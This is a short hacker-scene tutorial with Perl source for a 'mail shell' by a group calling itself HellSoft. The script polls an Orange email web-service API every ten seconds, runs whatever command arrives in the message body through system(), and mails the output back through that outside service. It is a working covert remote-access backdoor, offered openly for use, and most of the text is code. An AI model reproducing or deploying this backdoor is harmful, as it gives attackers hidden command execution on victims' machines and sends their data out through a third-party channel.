Shell PC by SMS/Mail by m3 Z3vil x)Simple Theory
-----------------------------------
-----------[ Tools ]------------
-----------------------------------
Brain
------
#x) This tools is very important
SMS/Mail Web service
--------------------------
#Ex: Orange
#http://www.orangepartner.com/site/enuk/develop/devplayzone/emailapi/p_email_api_alpha.jsp
#& create your UserID !
Coding
--------
#Your favorite [Perl/C++/.Net/Java…]
-------------------------------------
------------[ Demo ]-------------
-------------------------------------
Download this vidz for see [important]
---------------------------------------------
#http://rapidshare.com/files/99910840/MailShellByZ3vil.rar
Test
-----
#with Google Mail [Gmail]
Message to send
-------------------
[YOUR CMD] >tmp
“>tmp” is tmp file for get result from shell !
Shell Code
------------
#----------------------------------------
# This programe has been created #
# by Z3vil, [ 'HellSoft' ] Team #
# for EasyShelling & routing [RAD] #
# by using a SMS/Mail web service #
# Technology #
# Adrabi[At]Gmail.com h4cK m3 x) #
#----------------------------------------
#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use URI::Escape;
#Ex : Orange Mail WebService
#Read this : http://www.orangepartner.com/site/enuk/develop/devplayzone/emailapi/p_email_api_alpha.jsp
#Variables
my $sendMail = "http://mail.alpha.orange-api.net/mail/sendMail.xml?id=a5a3e7b066c&from=Z3vil&to=adrabi\@gmail.com&subject=Mail+Shell&body=";
my $getMail = "http://mail.alpha.orange-api.net/mail/getMail.xml?id=a5a3e7b066c&number=1";
my $deleteMail = "http://mail.alpha.orange-api.net/mail/deleteMail.xml?id=a5a3e7b066c&number=1";
#Prototype
sub execCMD($);
sub sendResult;
sub deleteLastMsg;
#Main
my $UA = LWP::UserAgent->new;
$UA->agent("Z3vil/HellSoft");
print "[+]...Start Mail Shell by Z3vil";
while(1){
my $Rep = $UA->get($getMail);
if($Rep->is_success){
execCMD($Rep->content);
deleteLastMsg;
sendResult;
}
sleep 10; # 10s x)
}
#Subroutines
sub execCMD($){
if(shift =~/body.*\[([\w\s\W]+)\n+\].*/gi){
system "$1";
}
}
sub sendResult{
my $rs="";
if( -e "tmp" && (-s "tmp") > 0 ){
my $rs="";
open(FH , "tmp");
while(<FH>){
$rs.=$_;
}
close(FH);
system("del tmp");
$UA->get($sendMail.uri_escape($rs));
}
}
sub deleteLastMsg{
$UA->get($deleteMail);
}
[ 'HellSoft' ] Team ...
